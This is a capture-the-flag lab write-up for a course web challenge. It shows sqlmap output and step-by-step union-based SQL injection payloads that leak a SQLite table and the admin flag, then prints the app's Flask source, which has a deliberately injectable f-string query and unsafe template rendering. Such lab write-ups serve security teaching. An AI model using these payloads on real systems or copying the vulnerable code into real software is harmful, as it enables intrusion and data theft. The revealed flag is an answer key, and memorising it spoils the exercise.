# Simple Web - 0x03(Lab - Normal Login Panel (Flag 1))
###### tags: `CTF` `Web` `eductf`
Challenge: https://login.ctf.zoolab.org/
## Background
## Source Code
### Analysis
## Exploit - SQLi
### Easy way - `SQLmap`
```bash!
$ ./sqlmap.py "https://login.ctf.zoolab.org/" --form -dbs sqlite --dump --risk=3 --level=5
...
---
Parameter: username (POST)
Type: time-based blind
Title: SQLite > 2.0 AND time-based blind (heavy query)
Payload: username='||(SELECT CHAR(116,86,90,89) WHERE 7681=7681 AND 7766=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))))||'&password=
---
```
### Hard way - try&error
1. Check if it has `sqli` problem
Payload: `union'`

2. Try union based
Payload: `admin' union select 1 --` **→ WRONG**
Payload: `admin' union select 1,2 --` **→ WRONG**
Payload: `admin' union select 1,2,3 --` **→ WRONG**
Payload: `admin' union select 1,2,3,4 --`

Obviously, it shows some info when select 4 values
3. Must know the metadata
According to the author, it used `sqlite` as its `DBMS`. As [kaibro cheat sheet](https://github.com/w181496/Web-CTF-Cheatsheet#sqlite)
> 爆表名
SELECT name FROM sqlite_master WHERE type='table'
Then we can add this in our request
Payload: `admin' union select 1,2,3,sql FROM sqlite_master WHERE type='table' --`

Based on the info we leak, there's a table named `users` with <font color="FF0000">`id`, `username`, `password`,and `count`</font> 4 columns
4. Leak password
Payload: `admin' union select 1,2,3,password FROM users --`

## Result
Then we got source code!!!
:::spoiler code
```python=
from flask import Flask, request, render_template, render_template_string, send_file
from flask_sqlalchemy import SQLAlchemy
db = SQLAlchemy()
app = Flask(__name__)
app.config["SQLALCHEMY_DATABASE_URI"] = "sqlite:///app.db"
db.init_app(app)
with app.app_context():
db.session.execute("""
CREATE TABLE IF NOT EXISTS users(
id Integer PRIMARY KEY,
username String NOT NULL UNIQUE,
password String,
count Integer DEFAULT 0
);
""")
db.session.execute("INSERT OR REPLACE INTO users (username, password) VALUES ('admin', 'FLAG{Un10N_s31eCt/**/F14g_fR0m_s3cr3t}')")
db.session.commit()
def login(greet):
if not greet:
return send_file('app.py', mimetype='text/plain')
else:
return render_template_string(f"Hello {greet}")
@app.route('/', methods=["GET", "POST"])
def index():
if request.method == "GET":
return render_template('index.html')
else:
username = request.form.get('username', '')
password = request.form.get('password', '')
error = ''
user = db.session.execute("SELECT username, password FROM users where username=:username", {"username":username}).first()
if user and user[1] == password:
return login(request.form.get('greet', ''))
elif not user:
error += "User doesn't exist! "
# New feature! count login failed event
db.session.execute("UPDATE users SET count = count + 1 WHERE username=:username", {"username": username})
db.session.commit()
count = db.session.execute(f"SELECT * FROM users WHERE username='{username}'").first() or [0, 0, 0, 0]
error += f'Login faild count: {count[3]}'
return render_template('index.html', error=error)
if __name__ == "__main__":
app.run(host="0.0.0.0")
```
:::